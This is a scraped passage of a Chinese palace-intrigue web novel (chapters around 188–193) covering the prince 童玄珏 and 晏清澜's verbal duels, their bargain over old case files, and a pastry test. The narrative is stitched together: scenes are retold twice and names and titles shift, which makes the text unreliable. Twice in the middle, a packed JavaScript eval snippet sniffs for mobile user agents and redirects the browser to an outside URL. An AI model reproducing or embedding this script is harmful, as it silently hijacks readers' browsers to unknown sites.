童玄珏看着她,不错过她脸上任何一丝细微的表情变化。 果然,一提杨澜,她就变了脸色,这可就有意思了。 他心中冷笑,面上却是不动声色,只淡淡道: “韩小公子对你一往情深,你这般聪慧,不会不知道吧?” 晏清澜只觉得一阵烦躁。 这都哪儿跟哪儿? 好端端的,怎么又扯到杨澜身上去了? 她闭了闭眼,努力压下心头的烦躁,冷冷道: “小孩子家家,一时兴起罢了,算不得真。” “殿下日理万机,还是少操心这些闲事为好。至于我和韩家的事,更与殿下无关。” 童玄珏看着她,眼神里闪过一丝玩味。 “哦?一时兴起?” 他语气上扬,带着几分质疑,“我瞧着,韩小公子可不像是一时兴起的样子。” 他顿了顿,语气里带着几分意味深长,“你对他倒是门儿清。” 晏清澜闻言,脸色更冷了几分。 她觉得童玄珏这话实在莫名其妙,让人火大。 “殿下这话说的,我与韩小公子不过数面之缘,谈何了解?” 她语气淡淡,带着几分不耐,“不过是他行事向来光明磊落,不屑于藏着掖着罢了。” 童玄珏微微颔首,眼神微凉: “光明磊落?” 他轻笑一声,语气里带着几分嘲讽,“这么说,你还挺欣赏他?” 他再次端起茶杯,却不喝,只是用指腹轻轻摩挲着杯沿,目光沉沉地看着晏清澜。 “说起来,你和韩家还真是命中注定。先是救了韩家长子,如今韩家幼子又对你青眼有加。” “这要是传出去,不知要羡煞多少京城闺秀。” 童玄珏扯了扯嘴角,露出一抹似笑非笑的表情,让人捉摸不透。 可惜,这世上的事,哪有那么多巧合? 晏清澜看着他,只觉得一阵无力,心里那股无名火“腾”地一下就窜了起来。 第一百八十八章 “有缘?” 她冷笑一声,反唇相讥,“照殿下这么说,那我是不是还得感谢殿下,当初不辞辛劳地调查我?” 她语气里带着毫不掩饰的嘲讽,“要不是殿下,我还不知道,原来我在您心里,竟这般重要。” 晏清澜实在不明白童玄珏这阴阳怪气的劲儿是从哪儿来的,索性也懒得跟他装了。 当初在战场上,她不过是抱着能救一个是一个的心思,哪会管对方是谁? 这就是和韩家的宿命?简直滑天下之大稽。 她越想越觉得可笑,索性破罐子破摔,故意恶心童玄珏: “那照您这逻辑,童玄珏,您该不会是对我……因‘查’生爱了吧?” 童玄珏被她这话噎得不轻,一口气堵在胸口,不上不下。 他放下茶杯,眼神复杂地看了晏清澜一眼,实在没想到这女人竟如此……伶牙俐齿,还这般不按常理出牌。 他一时竟找不出合适的话来反驳。 半晌,他才缓缓开口,声音里带着几分无奈,几分咬牙切齿: “晏清澜,你可真是……” 他顿了顿,似乎在斟酌用词,“伶牙俐齿,巧舌如簧。” 晏清澜闻言,反倒松了口气,甚至还有心情笑了笑。 这才对嘛。 这冷冰冰,一脸嫌弃的样子,才像她认识的那个童玄珏。 她可不认为童玄珏刚才那阴阳怪气的,是因为对她有意思,吃醋了。 晏清澜太清楚自己的斤两了,童玄珏这种人,怎么可能会对她动心? 他那种万年冰山脸,若是真动了心,那才叫吓人。 不过话说回来,他这般反常,定然是因为她拒绝了切磋,让他下不来台。 毕竟,以这位爷的性子,向来只有他拒绝别人的份,哪轮得到别人拒绝他? 果然,下一刻,就听童玄珏冷冷开口,声音里带着几分不悦: “晏清澜,我不过是想跟你切磋箭术,你却百般推脱。” 他目光如炬,紧盯着晏清澜,语气步步紧逼, “你口口声声说没工夫,我看,你分明是怕输给我,丢了面子!” 晏清澜看着他,只觉得一阵好笑。 这位爷还真是……自以为是得可以。 她很想说,您可真是太高看自己了,我压根就没把您放在眼里。 但在童玄珏的注视下,她还是把到嘴边的话咽了回去,换了种说法。 她沉默片刻,抬眸看向童玄珏,语气平静,不卑不亢: “殿下应该知道,我为何不愿与您切磋。” 她顿了顿,眼神坦荡,没有丝毫闪躲。 “童玄珏,打从你我相识那天起,你跟我说的每一句话,都带着试探,带着算计。” “我晏清澜自问不是您的对手,也不想卷入这些是是非非。” 晏清澜微微一顿,语气真诚了几分, “您若真想切磋箭术,我随时奉陪。但若是想借着切磋的名义,行试探之实,那还是免了。”“殿下该不会真以为,我会怕输给您吧?” 晏清澜开口了。 声音清清冷冷的,像山涧里刚融化的雪水。 童玄珏眉梢微动,等着她往下说。 他知道,这只小狐狸,从来不做亏本的买卖。 晏清澜抬眸,对上他的视线,不闪不避。 红唇轻启,吐出的话却像淬了冰渣子: “从前,殿下与我说的每一句话,哪一句不是带着试探、算计?” 她顿了顿,语气里有几分真诚,却也带着毫不掩饰的疏离: “我自认不是您的对手,也不想卷入这些是非。” “您若真想切磋箭术,我自当奉陪。” 晏清澜微微抬起下巴, “但若想借切磋之名,行试探之实……” “那还是免了。” 尾音微微上扬,带着显而易见的不悦。 童玄珏没料到她会把话挑明了说。 眼前的少女,身姿挺拔如松,眉眼间自有一股傲气。 明明身量纤细,站在那里,却给人一种无法撼动的感觉。 童玄珏承认。 过去与她相处,确实如她所说,字字句句都在套话。 可那又如何? 在这深宫之中,不试探,难道要凭真心相付? 他唇角微翘,一贯清冷的声音里,破天荒地带上了一丝笑意: “这一次,我是诚心想与你切磋。” 晏清澜眼皮都没抬,只用余光斜睨他一眼,双臂交叉抱在胸口。 摆明了不信。 那眼神,仿佛在说: 您省省吧,这话,这套路骗小朋友还差不多。 童玄珏也知道自己这话没什么说服力。 他抬手,捏了捏眉心,换了个说法: “要是我真想套你话,归朝宴上就该直接提出与你比试。” “逼你当着所有人的面硬着头皮上,岂不比私下商议更有效?” 语气中带着几分自嘲。 晏清澜没说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159004|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 只是轻飘飘地瞥了他一眼。 不得不说,童玄珏这话,有几分道理。 但谁又能保证,这不是他故意反其道而行之? 不过,看他这执着的劲头,今天若不应付过去,恐怕难以善了。 晏清澜心思电转。 忽然,她灵机一动,有了主意。 她故作不耐地“啧”了一声,抬眼看向童玄珏: “殿下也别废话了。” “想让我跟你比,也不是不行。” 她顿了顿,伸出一根手指,在童玄珏面前晃了晃, “一口价,一个条件。” 童玄珏看着她。 少女的手指,白皙纤细,像上好的羊脂玉雕琢而成。 指尖泛着淡淡的粉色,在午后的阳光下,几乎透明。 他微微眯起眼睛,等着她开出条件。 这只小狐狸,费尽心思绕了这么大一个圈子, 不就是为了等这一刻吗? 晏清澜见他没反应,以为他不答应。 于是,她收回手,作势要走: “既然殿下不肯,那就算了,当我没说。” 童玄珏回过神来。 他伸手,轻轻扣住晏清澜的手腕。 触手一片冰凉,像握住了一块冰。 童玄珏下意识地皱了皱眉。 这女子的体温,似乎比常人要低一些。 不过,他很快就将这丝疑惑抛到脑后。 “说吧,什么条件。” 他的声音低沉而富有磁性, 像大提琴的琴弦在轻轻震动。 晏清澜停下脚步,转过身来, 似笑非笑地看着他。 那双眼睛,清澈明亮,却又深不见底。 “我要查一个人。” 她缓缓开口, “一个,曾经被我那好表哥‘关照’过的人。” 童玄珏挑眉。 “钱玉明?” 他几乎立刻就猜到了晏清澜指的是谁。 晏清澜没有否认。 “我要知道,当年那件事的来龙去脉。” “以及……” 她顿了顿, “那个人的下落。” 童玄珏静静地看着她。 他知道,晏清澜口中的“那件事”, 指的就是五年前,钱玉明为了抢夺一只白猫,害得一家人惨死的事。 这件事,当年闹得沸沸扬扬, 但最后,却不了了之。 第一百八十九章 因为,钱玉明的背后,站着燕王,站着整个赵家。 而赵家,又是庄家的姻亲…… 这其中的利害关系,错综复杂,牵一发而动全身。 童玄珏有些意外。 他没想到,晏清澜竟然会为了一个毫不相干的人,向他提出这样的条件。 这可不像她一贯的作风。 要知道,这只小狐狸,向来是无利不起早的。 “只是为了一个不相干的人?” 童玄珏试探着问。 晏清澜笑了,笑得有些冷。 “殿下觉得呢?” “我这人,向来心善,见不得这些不平事。” 童玄珏不置可否。 他当然不信晏清澜的鬼话。 这女人,心肠比谁都硬。 她之所以这么做,一定有更深层次的原因。 不过,他并不打算深究。 对他来说,这不过是一场交易。 他得到了自己想要的,而晏清澜,也得到了她想要的。 各取所需,仅此而已。 “好,我答应你。” 童玄珏缓缓开口, “但你要记住,这件事,仅限于你我二人知晓。” “若有第三个人知道……” 他没有把话说完, 但威胁的意味,已经不言而喻。 晏清澜当然明白他的意思。 她点了点头, “放心,我不会给你惹麻烦的。” 顿了顿,她又补充了一句: “也请殿下放心,我不会把‘燕王惧内’这种事传出去的。” 童玄珏:? 晏清澜欣赏着他瞬间变黑的俊脸,心情大好。 “那么,”她眨了眨眼,“我们何时动身?” 童玄珏深吸一口气,努力平复着自己的情绪。 他发现,自己每次跟这只小狐狸打交道, 都会被她气得七窍生烟。 “明日。” 他从牙缝里挤出两个字。 “我会派人来接你。” “好。” 晏清澜痛快地答应了。 “那就一言为定。” 她说完,转身就走,毫不拖泥带水。 童玄珏看着她的背影, 眼神复杂难辨。 良久,他才低声自语: “晏清澜,你到底想做什么?” 可惜,没有人能回答他。 午后的阳光,透过窗棂,洒落在空荡荡的房间里。 只留下,一室的寂静。“行了,”童玄珏嘴角一扯,端起茶杯,杯盖轻碰杯沿,发出清脆的声响,眼皮却未抬,只是淡淡地扫了晏清澜一眼,“占了便宜还耍小聪明,你这戏,未免演得太过了。” 晏清澜眨了眨眼,长长的睫毛像蝴蝶翅膀一样扑闪了两下,一脸无辜地看向童玄珏。 “我……”她张了张嘴,似乎想解释什么。 可转念一想,又把话咽了回去。 不认,打死她也不认! 只要她不认,谁又能知道她是不是在演戏? 晏清澜自认心理素质极好,等闲的试探,休想让她露出破绽。 她微微抬起下巴,回敬了童玄珏一个白眼,双手环胸,摆出一副“你能奈我何”的姿态: “燕王殿下这话说的,我可是真不明白,所以才要向您‘请教’啊。” 她特意加重了“请教”两个字的语气,话里带着几分不服气。 “您是谁啊?燕王殿下!手眼通天,这世上有什么事能瞒得过您?自然知道怎么瞒天过海。” 晏清澜顿了顿,语气一转,变得有几分可怜巴巴: “可我呢?我就是个柔弱无助的小白兔,能力有限,见识也少,能有什么办法?所以,还请殿下您,大人有大量,不吝赐教呢。” 一番话,说得那叫一个理直气壮,仿佛她才是受了委屈的那一个。 童玄珏险些被这厚颜无耻的说辞给气笑了。 弱女子? 她晏清澜? 但凡她身上跟“弱”字沾上半点关系,他童玄珏的名字倒过来写! 童玄珏懒得跟她继续废话,直接捻起一块桂花糕,精准地塞进晏清澜喋喋不休的小嘴里,总算让她消停了下来。 他微微扬眉,笑意不达眼底,声音里透着一丝冷意: “闭嘴!再胡说八道,别逼我翻脸不认人!” 晏清澜倒也不恼,慢条斯理地将口中的桂花糕咽了下去。 她将黏在指尖的碎屑捻去,轻飘飘地抛下一句:“甜得有些腻了,殿下这里的茶点师傅,手艺还有待提高。” 她这才抬眼看向童玄珏,笑意盈盈,只是那笑意,怎么看都带着几分挑衅: “殿下,您打算怎么收拾我呢?难不成……要在这儿跟我动手?” 她故意停顿了一下,目光在雅间内扫了一圈,最后落回童玄珏身上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170524|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这地方,可不适合动手。万一打坏了什么,算谁的?我可是很穷的。” “还是说,您想跟我到外面去‘切磋切磋’?”她加重了“切磋”二字,话里的意味不言而喻。 “不过,先说好,您要是在大庭广众之下跟我动手,那可就别怪我‘不小心’,把咱们的约定给说出去了。” 她笑得狡黠,像一只偷了腥的小狐狸。 “您也知道,我这人,胆子小,万一被吓着了,什么话都可能往外说。” 童玄珏看着她,眼神晦暗不明。 他缓缓起身,走到晏清澜面前,居高临下地看着她。 “晏清澜,你信不信,我有一百种方法让你‘不小心’说不出话来?” 他的声音低沉而富有磁性,却带着一种不容置疑的威慑力。 两人之间的距离,近在咫尺。 晏清澜甚至能感受到他身上传来的淡淡的冷香。 她却丝毫不惧,反而迎着他的目光,笑得更加灿烂: “我当然信。不过,在此之前,您是不是该先考虑一下,‘燕王惧内’的消息传出去后,您该怎么跟皇上解释?” 她微微歪着头,一副“我很为你着想”的模样。 童玄珏的脸色,终于有了一丝变化。 他眯起眼睛,看着眼前这个胆大包天的女子,眼底闪过一丝危险的光芒。 他没有伸手去挑她的下巴,而是用手指轻轻敲击着桌面,发出“笃笃笃”的声响,像是在思考着什么。 “你威胁我?”他的声音很轻,却带着一种不容置疑的压迫感。 “怎么能说是威胁呢?我这只是在提醒您。”晏清澜眨了眨眼,一脸无辜。 “毕竟,咱们现在可是一条绳上的蚂蚱,您要是出了什么事,我也跑不了,不是吗?” 童玄珏没有说话,只是静静地看着她。 他的眼神,像是要把她看穿似的。 晏清澜也不躲闪,任由他打量。 两人就这样对峙着,谁也不肯先退一步。 良久,童玄珏才缓缓开口,声音里听不出喜怒: “好,很好。” “晏清澜,你果然很有胆色。” “不过,你以为这样就能拿捏住我?” 他冷笑一声, “你未免太小看我童玄珏了。” 晏清澜耸了耸肩,一脸无所谓: “我可没想拿捏您,只是想跟您谈笔交易而已。 第一百九十章 ” 她顿了顿,语气一转,变得有几分认真: “卷宗的事,我知道对您来说或许不算什么,但对我来说,很重要。” “所以,我必须确保万无一失。” 她抬起头,直视着童玄珏的眼睛,一字一顿地说道: “我这人,向来不喜欢欠人人情。您帮了我,我自然也会回报您。” “至于回报的方式,您说了算。” 童玄珏看着她,眼神幽深。 他从她的眼睛里,看到了一种名为“野心”的东西。 这让他对她,更多了几分兴趣。 “回报?”他玩味地重复着这两个字, “你打算如何回报我?” 晏清澜微微一笑, “您想要什么,我就给您什么。” 她顿了顿,补充道: “只要我能做到。” 童玄珏看着她,忽然笑了。 那笑容,带着几分邪气,几分玩味,还有几分……欣赏。 “好大的口气!”他缓缓说道, “你就不怕我狮子大开口?” 晏清澜摇了摇头, “您不会的。” 她语气笃定。 “哦?何以见得?”童玄珏挑眉。 晏清澜笑了笑,没有直接回答他的问题,而是反问道: “殿下,您觉得,我像那种任人宰割的傻瓜吗?” 童玄珏没有说话,只是静静地看着她。 他不得不承认,眼前的这个女子,的确与众不同。 她聪明,狡猾,胆大,而且……很有趣。 “你想要什么?”他问。 晏清澜毫不犹豫地回答: “我要进宫,亲眼看看那些卷宗。” 她顿了顿,补充道: “您放心,我不会给您添麻烦的。我会扮成您的护卫,跟在您身边。您只需要带我进去,剩下的事情,我自己会解决。” 童玄珏看着她,眼神闪烁了几下。 他没有立刻答应,而是反问道: “如果我不答应呢?” 晏清澜耸了耸肩, “那我就只能去找别人帮忙了。” “虽然这可能会有点麻烦,但也不是完全没有办法。” 童玄珏的眼中,闪过一丝不易察觉的笑意。 这小狐狸,还真是滴水不漏。 “你就这么肯定,我会帮你?”他问。 晏清澜笑了笑, “我不是肯定您会帮我,而是肯定您不会拒绝一个对您有利的交易。” 她顿了顿,语气变得有几分意味深长: “殿下,您说呢?” 童玄珏没有说话,只是静静地看着她。 良久,他才缓缓开口: “好,我答应你。” “不过,我有一个条件。” 晏清澜挑眉, “您说。” “我要你先跟我切磋一场。”童玄珏的语气,不容置疑。 晏清澜毫不犹豫地答应: “没问题。不过,得等我拿到卷宗之后。” “在那之前,我可不想出什么意外。” 她笑得狡黠。 童玄珏看着她,眼神幽深。 “你倒是谨慎得很。”他缓缓说道。 晏清澜耸了耸肩, “没办法,谁叫我是个娇滴滴的小可怜呢?” 她故意把“手无缚鸡之力”这几个字咬得很重,话里带着几分嘲讽。 童玄珏自然听出了她话里的意思,却也没有生气,只是淡淡地说道: “好,那就等你拿到卷宗之后,再来跟我切磋。” “不过,在那之前,你还是得先请我喝茶。” 他顿了顿,补充道: “既然是请客,那就得有点诚意。光有好茶还不够,还得配上好点心。” “碧霄楼的点心,味道还不错。我想,晏四姑娘应该不会介意请我吃一顿吧?” 晏清澜听了,差点没忍住翻白眼。 这童玄珏,还真是够了! 请他吃顿饭就想完事,居然还要她请他吃碧霄楼的点心? 他怎么不说要她把整个碧霄楼都买下来送给他? 晏清澜深吸一口气,努力控制住自己想要骂人的冲动。 她咬牙切齿地说道: “好,碧霄楼就碧霄楼!不过,我可把丑话说在前头,碧霄楼的规矩多得很,能不能进去,我可不敢保证。” “若是进不去,您可别怪我。”“哟,这不是咱们日理万机的珏王殿下吗?怎么有空到我这碧霄楼来坐坐?” 一道戏谑的声音传来,打断了晏清澜的思绪。 她抬眼望去,只见童玄珏正大喇喇地坐在她对面,手里还捏着块精致的糕点,似笑非笑地看着她。 “碧霄楼的东家放了话,陆家请你一起蹭饭,不用排队等位。” 童玄珏往椅子里一靠,上半身轻轻向后倾斜,学着晏清澜 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“十顿饭就算了,小王怕消化不良。” 他话锋一转,语气中带上了几分戏谑。 “庄小姐不如折现,如何?” 晏清澜听了这话,差点没把刚喝进去的茶喷出来。 这人,不仅疑心病重,还贪财! “珏王殿下这是掉钱眼里了?”她冷笑一声,“我可没那么多闲钱。” 童玄珏对她的嘲讽毫不在意,反而笑得更开心了。 “庄小姐这话说的,谁不知道你庄家富可敌国?区区几顿饭钱,对你来说,不过是九牛一毛。” “你若真没钱……”他故意拖长了语调,“那本王就勉为其难,收下你这浮萍居抵债好了。” 晏清澜的脸色彻底冷了下来。 这人,果然是来者不善! “童玄珏,你别太过分!”她声音冷冽,带着明显的怒意。 “过分?”童玄珏挑眉,“这怎么能叫过分呢?我这可是给你机会,让你报答我的救命之恩。” 他顿了顿,语气中带着一丝威胁。 “你若是不愿意,那咱们就好好算算账,看看你这条命,到底值多少钱。” 晏清澜紧紧地握着拳头,指节因为用力而发白。 她知道,童玄珏这是在逼她就范。 第一百九十一章 可她偏偏不能拒绝。 因为她欠他一条命。 “好,我答应你。”她咬着牙,一个字一个字地说道,“但你最好记住,别太过分!” 童玄珏似乎很满意她的反应,嘴角的笑容越发扩大。 他站起身来,理了理衣袍。 “庄小姐果然识时务。” 他漫不经心地说着,目光却在屋内扫视了一圈。 最后,他的视线停留在桌上的那盘糕点上。 他走过去,拿起一块,在晏清澜惊疑的目光中,慢条斯理地吃了起来。 “你……”晏清澜刚想开口,却被他打断。 “这糕点味道不错。” 童玄珏咽下糕点,意有所指地说了一句。 “不过,我还是更喜欢吃碧霄楼的桂花酥。” 说完,他转身朝窗边走去,头也不回地说道: “我走了,不必送。” 晏清澜看着他的背影,脸色阴晴不定。 这人,果然是发现了什么! 他方才的举动,根本不是为了试探糕点,而是故意说给她听的! “啪”的一声,晏清澜将窗子狠狠关上,转身快步走到桌边。 她死死盯着那盘被童玄珏动过的糕点,脸色难看至极。 “来人!”她对着门外喊了一声,声音里压抑着怒火,“让夏竹立刻过来见我!” 不多时,夏竹便急匆匆地赶了过来。 “姑娘,您找我?”她一进门,就察觉到气氛不对。 晏清澜的脸色阴沉得可怕,像是暴风雨来临前的宁静。 夏竹心里“咯噔”一下,一种不好的预感涌上心头。 她小心翼翼地问道:“姑娘,可是……出什么事了?” 晏清澜没有回答,只是用手指了指桌上的糕点。 “这盘糕点,是谁让你做的?” 夏竹顺着她的手指看去,只见那盘精致的桂花酥,已经被动过了。 她心里一惊,连忙解释道: “是奴婢……奴婢见姑娘您最近胃口不好,就想着做些您爱吃的点心……” “我问你,是谁让你做的?”晏清澜再次打断她的话,语气比之前更加严厉。 夏竹吓得“扑通”一声跪在了地上。 “姑娘息怒,是奴婢自作主张,奴婢知错了!” 她以为晏清澜是因为她擅自做主而生气,连忙磕头认错。 晏清澜看着她,深吸一口气,努力平复着自己的情绪。 “不是你的错。”她缓缓开口,声音里带着一丝疲惫,“是游萝……她做的?” 夏竹愣了一下,不明白晏清澜为什么会突然提到游萝。 但她还是老老实实地回答道: “是,是游萝做的。姑娘您不是说,您喜欢游萝做的雪衣红沙吗?奴婢就让她……” “够了!”晏清澜猛地一拍桌子,打断了夏竹的话。 夏竹吓得浑身一颤,不敢再说话。 晏清澜闭上眼睛,只觉得一阵头疼。 游萝,游萝…… 她怎么忘了,这桂花酥,是她亲手教给游萝的! 当初,她为了打发时间,也为了培养自己在苏府的势力,便教了游萝一些做点心的技巧。 其中,就包括这桂花酥。 可她万万没想到,这竟然会成为一个隐患! 晏清澜缓缓睁开眼睛,看着跪在地上的夏竹。 “你起来吧。”她说道,“这件事不怪你。” 夏竹战战兢兢地站起身来,低着头,不敢看晏清澜的眼睛。 “你去把游萝叫来。”晏清澜吩咐道,“我有话要问她。” 夏竹应了一声,连忙退了出去。 晏清澜独自一人留在房中,思绪纷乱如麻。 童玄珏拿走那块糕点,绝对不是偶然。 他一定是发现了什么。 只是,他究竟发现了多少? 他会不会把这件事告诉别人? 晏清澜越想越心惊,她必须尽快想出一个对策,把这件事的影响降到最低。 否则,一旦让别人知道她和碧霄楼的关系,那她之前所做的一切努力,都将付诸东流! 不多时,夏竹便带着游萝回来了。 游萝一进门,就看到晏清澜正襟危坐,脸色阴沉得能滴出水来。 她心里“咯噔”一下,一种不祥的预感涌上心头。 “姑娘……”她小心翼翼地唤了一声。 “跪下!”晏清澜冷冷地说道。 游萝吓得“扑通”一声跪在了地上,头也不敢抬。 “我问你,这桂花酥,你是从哪里学来的?”晏清澜的声音冰冷刺骨,不带一丝感情。 游萝的身体猛地一颤,她抬起头,看着晏清澜,眼中充满了恐惧和不解。 “姑娘,这……这桂花酥,不是您教奴婢的吗?” 童玄珏离开浮萍居后,并 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毕竟,单论桂花酥,各家有各家的做法,味道相近也并非稀奇事。 要论这京城里谁的舌头最尖,那还得数姚澜。 旁人尝不出的细微差别,到了他这儿,保管给你分出个一二三来。 姚澜怔愣片刻,像是听到了什么不可思议的事,又像是受了什么天大的委屈。 他迟疑地指了指自己,那双惯来含情的桃花眼里,此刻却写满了抗拒:“让……我尝?” 舒临风在一旁瞧着,也觉得有些过了。 他“啪”地一声收起折扇,在掌心里敲了敲,带着几分戏谑,几分同情: “我说阿珏,你这回可真是为难人了。” “姚澜那张嘴,除了碧霄楼的东西,还能尝出什么好来?” 这京城里的公子哥儿,谁还没点与众不同的癖好。 有人只穿云锦坊新出的料子,有人洗漱必要用当天从城外运来的山泉水。 轮到姚澜,那就是吃,入口的东西,稍微差一点,他都能给你挑出错来。 “晏清澜给的。”童玄珏淡淡地瞥了舒临风一眼,惜字如金。 他屈指轻叩桌面,又补充了一句:“碧霄楼今儿只顾着宫里的御宴,不做外头的生意。 第一百九十二章 ” 言下之意,这桂花酥,绝不可能是从碧霄楼流出来的。 可偏偏,味道又与碧霄楼的像了个十足十。 童玄珏脑海中闪过一个念头,除非,这晏清澜与碧霄楼有什么不为人知的关联? 可随即,他又觉得这个想法有些离谱。 那日他试探晏清澜,分明瞧见她对那些账本一窍不通…… “不是吧?”舒临风和姚澜对视一眼,都从对方眼中看到了惊讶。 “当真?”姚澜眉心微蹙,语气也严肃起来。 童玄珏微微颔首,眼神示意他自己品尝。 姚澜的脸色变了又变,最后,像是下定了什么决心似的,缓缓拿起一块桂花酥。 那糕点精致小巧,层层叠叠的酥皮像是含苞待放的花骨朵,瞧着就让人有食欲。 可姚澜却像是捏着什么烫手山芋,手指都在微微发颤。 在童玄珏和舒临风的注视下,他一咬牙,将那桂花酥送入口中。 下一刻—— “呕!” 一声干呕,打破了雅间内的寂静。 舒临风手里的茶盏都差点没端稳,洒出来的茶水浸湿了衣袖。 姚澜捂着嘴,脸色惨白,额角的青筋突突直跳,那模样,像是要把胆汁都吐出来。 舒临风猛地站起身,指着姚澜,气得浑身发抖,话都说不利索了: “你、你、你……” “你”了半晌,也没说出个所以然来。 他转头怒瞪童玄珏,声音都变了调:“姓江的!这儿是给你俩折腾的地方?!” “姚澜是刨你家祖坟了还是怎么着,你非得这么糟蹋他?!” 童玄珏也有些懵了,他张了张嘴,想解释,可看着姚澜那副生不如死的模样,又觉得说什么都显得苍白无力。 他也没想到,姚澜的反应会这么大。 平日里开玩笑归开玩笑,可真把人折腾成这样,他还真是……头一回。 一股难以名状的味道,在雅间里迅速弥漫开来。 像是陈年的老醋被打翻了,又像是谁把隔夜的馊饭给热了,还混着一股子鱼腥味儿,仔细一闻,似乎还有昨晚那道菜的影子…… 舒临风的脸都绿了,他一把拽起童玄珏,二话不说就往外冲。 “这……这得熏多少香才能把味儿散干净啊!” 站在门口,舒临风心疼地直跺脚,可又不敢再往里踏进去半步。 另一边,姚澜灌了好几杯茶,又换了身衣裳,才勉强缓过神来。 他黑着脸走到童玄珏跟前,眼神不善。 童玄珏难得心虚,破天荒地主动给他倒了杯茶,语气也软了几分: “好些了吗?” “你说呢?”姚澜冷笑一声,眼刀子嗖嗖地往童玄珏身上飞。 饶是平日里再怎么镇定自若,这会儿童玄珏也有些挂不住了。 毕竟,人是真真切切地因为他带来的糕点,差点把命都搭进去。 “是我想岔了。”他斟酌着开口,语气里带着几分歉意。 “得了吧,”姚澜有气无力地摆摆手,语气里带着几分劫后余生的庆幸,“这下你总该放心了,晏清澜跟碧霄楼,八竿子打不着。” “碧霄楼那位的手艺,但凡他徒弟学到了一星半点,也不至于做出这种……” 他顿了顿,像是又回忆起了那股要命的味道,脸色又白了几分,急忙端起茶杯,又猛灌了几口。 童玄珏看着他那模样,心里也有些没底了。 难不成,真是自己多心了? 可先前在浮萍居,那味道……分明就…… “我的舌头,”姚澜指了指童玄珏,又指了指自己,“和你的,谁更灵?” 童玄珏不说话了。 得,这事儿,估计也就到此为止了。 若是晏清澜知晓此事,怕是做梦都要笑醒。 舒临风总算回过神来,他“唰”地一声展开折扇,装模作样地扇了扇,语气里满是八卦的味道: “我说阿珏,你跟庄家那丫头……什么时候这么熟了?” “还能从她那儿拿点心了?你俩,背着我们,都干嘛了?” 童玄珏冷冷地扫了他一眼,舒临风立马闭了嘴,讪讪地摸了摸鼻子。 童玄珏从袖中取出一物,扔给舒临风。 舒临风接过来,打开一看,里面是一些诗稿,还有一段没写完的故事。 故事的主人公,是一个名叫王云飞的落魄书生,他家祖传一件宝贝,唤作玉华盏,能随心意变化注入其中的酒水温度。 恰逢科考之年,县里 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可若说是潘太傅亲笔,却又有些不像,只能说,临摹之人,已得其九分神髓。童玄珏指尖摩挲着书稿封面,微微抬眸,深邃的眸中似有暗流涌动:“谁送来的?” 舒临风的视线也随之落在那书稿上,他轻摇折扇,姿态慵懒,却也透着几分漫不经心:“芷若说是位姑娘,看着眼生,不过出手倒是大方,直接甩了一锭金叶子。” 金叶子? 童玄珏的眼尾微微上挑,眸色渐深,像是一汪不见底的深潭。他垂眸把玩着书稿,指节分明,语气中带着一丝探究:“这姑娘出手如此阔绰,把这东西交给芷若,究竟想做什么?” “这点着实让我费解。”舒临风眉头微蹙,语气里带着疑惑。他合拢折扇,在掌心轻轻敲击,“如此手笔,就为了让一个书生临摹这上面的字迹,再让他讲个和‘玉华盏’类似的故事?这唱的哪一出?” 童玄珏看似随意地听着,眼中却闪过一道锐利的光芒,像是捕食的猎豹。他声音低沉,带着一丝冷冽:“哪个书生?” 舒临风没有立刻回答,而是转头看向身旁的姚澜,眼神中带着几分玩味,似乎在等他开口。 第一百九十三章 姚澜轻笑一声,眼中闪烁着看热闹的光芒,他慢条斯理地开口:“酆明川,家里做了点小买卖,也算殷实,但跟那些个世家大族自然是没法比。要说特别嘛,也就是读书还算有点天分。”他稍稍停顿,嘴角的笑意更深了些,像是发现了什么有趣的猎物:“哦,对了,他和庄家二公子晏远舟,走得挺近。” 晏远舟? 童玄珏唇角勾起一抹玩味的弧度,心中已然有了几分猜测。他微微颔首,示意舒临风继续:“这酆明川,最近是不是常往醉月楼跑?” 舒临风“唰”地一声展开折扇,桃花眼微微上挑,风流倜傥之姿尽显:“那是自然,醉月楼的名气,哪个读书人不想来见识见识?不过他嘛,银子不够,也就只能在外面打打茶围,听听小曲儿。”他语气一顿,带着几分戏谑,“怎么,你还指望他能让芷若亲自作陪?” 这打茶围,说得好听点,是文人雅士以文会友,说得难听点,就是一群没钱又想见花魁的穷酸书生,聚在一起过过干瘾。 花魁躲在帘子后面,听着这些人的酸诗腐文,偶尔心情好了,可能会露个面,但想单独见上一面?那就得看各人的本事和造化了。 酆明川嘛,显然还没这个本事。 童玄珏眉梢微挑,语气淡淡:“就他一人孤零零地到场?” 舒临风斜睨了他一眼,带着几分戏谑反问:“难不成你以为晏远舟那种‘清高’之人会来这种地方?”他摇了摇头,似乎对晏远舟的为人颇为了解。 童玄珏扯了扯嘴角,目光中带着不屑:“是不是真清高,谁知道呢。”他顿了顿,语气变得意味深长,“日久见人心,急什么。” 世人皆知晏远舟品行高洁,但他童玄珏偏偏不信。 越是标榜自己清高的人,越有可能藏着不可告人的秘密。 他倒要看看,这晏远舟,能装到什么时候。 舒临风似乎对晏远舟的为人并不关心,他的目光,始终停留在书稿上那遒劲有力的字迹上。他微微眯起眼睛,像是在辨认,又像是在思考:“这字迹……当真有些眼熟,和潘太傅年轻时的笔迹,至少有七分像。” “你说,我们要不要让芷若照那位姑娘说的做?”他有些拿不定主意。 